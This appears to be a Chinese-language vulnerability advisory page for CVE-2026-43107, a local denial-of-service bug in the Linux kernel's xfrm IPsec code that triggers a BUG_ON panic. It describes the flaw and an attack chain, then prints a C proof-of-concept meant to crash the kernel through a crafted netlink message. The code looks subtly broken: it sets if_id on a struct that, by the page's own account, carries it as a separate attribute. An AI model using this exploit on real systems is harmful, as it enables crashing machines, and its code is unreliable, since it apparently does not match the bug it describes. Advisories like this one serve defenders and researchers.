IPBUF安全漏洞报告
English
CVE-2026-43107 CVSS 5.5 中危

Linux Kernel xfrm本地拒绝服务漏洞(CVE-2026-43107)

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43107
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务xfrmCVE-2026-43107本地漏洞内核安全DoS

漏洞概述

Linux内核的xfrm子系统中存在一个安全漏洞,该漏洞源于xfrm_get_ae函数在计算回复消息大小时未正确考虑XFRMA_IF_ID属性。当build_aevent函数尝试追加该属性时,会由于缓冲区空间不足而导致操作失败。由于错误处理路径中使用了BUG_ON宏,这将直接触发内核恐慌,允许本地低权限攻击者通过恶意交互导致系统崩溃。

技术细节

该漏洞位于Linux内核网络协议栈的IPsec框架(xfrm)实现中。具体问题在于xfrm_aevent_msgsize()函数计算消息大小时遗漏了XFRMA_IF_ID属性所需的长度。当xfrm_get_ae()函数根据此大小分配skb缓冲区后,build_aevent()在构建消息时会检查x->if_id是否设置。如果已设置,它会尝试追加XFRMA_IF_ID属性,此时实际所需空间超出已分配空间,导致返回-EMSGSIZE错误。xfrm_get_ae()捕获此错误后执行BUG_ON(err < 0),导致内核立即停止响应并崩溃。攻击者需具备本地低权限(PR:L)即可利用此漏洞,主要影响可用性(A:H)。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统的低权限用户访问。
STEP 2
步骤2
攻击者构造特定的Netlink消息,设置xfrm状态并指定if_id,以触发xfrm_get_ae()函数。
STEP 3
步骤3
内核处理该消息时,由于消息大小计算错误,在追加属性时触发缓冲区溢出检测失败。
STEP 4
步骤4
错误处理路径中的BUG_ON断言被触发,导致内核恐慌(Kernel Panic),系统崩溃或重启。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-43107 * Triggering the kernel panic via Netlink interaction with xfrm. * Warning: This code is for educational purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #define NETLINK_XFRM 6 int main() { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) { perror("socket"); return 1; } struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; // Buffer to hold the netlink message char buf[1024]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nh = (struct nlmsghdr *)buf; // Construct a message targeting XFRM_MSG_GETAE // This triggers the vulnerable xfrm_get_ae path nh->nlmsg_type = XFRM_MSG_GETAE; nh->nlmsg_flags = NLM_F_REQUEST; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_aevent_id)); struct xfrm_aevent_id *ae_id = (struct xfrm_aevent_id *)NLMSG_DATA(nh); // Setting if_id is crucial to trigger the size calculation bug ae_id->if_id = 1; // Set other required fields if necessary to reach the vulnerable code path ae_id->sa_id.family = AF_INET; // Send the malicious payload sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr*)&sa, sizeof(sa)); printf("PoC payload sent. If the kernel is vulnerable, a panic may occur.\n"); close(fd); return 0; }

影响范围

Linux Kernel (Stable branches prior to fixes in commits 2c41283d, 58e5735d, 7081d46d, e62e322e)

防御指南

临时缓解措施
建议立即限制本地非特权用户的访问权限,并尽快应用官方发布的内核补丁以修复该逻辑缺陷。在未修复前,应严格监控系统日志以检测潜在的内核崩溃事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表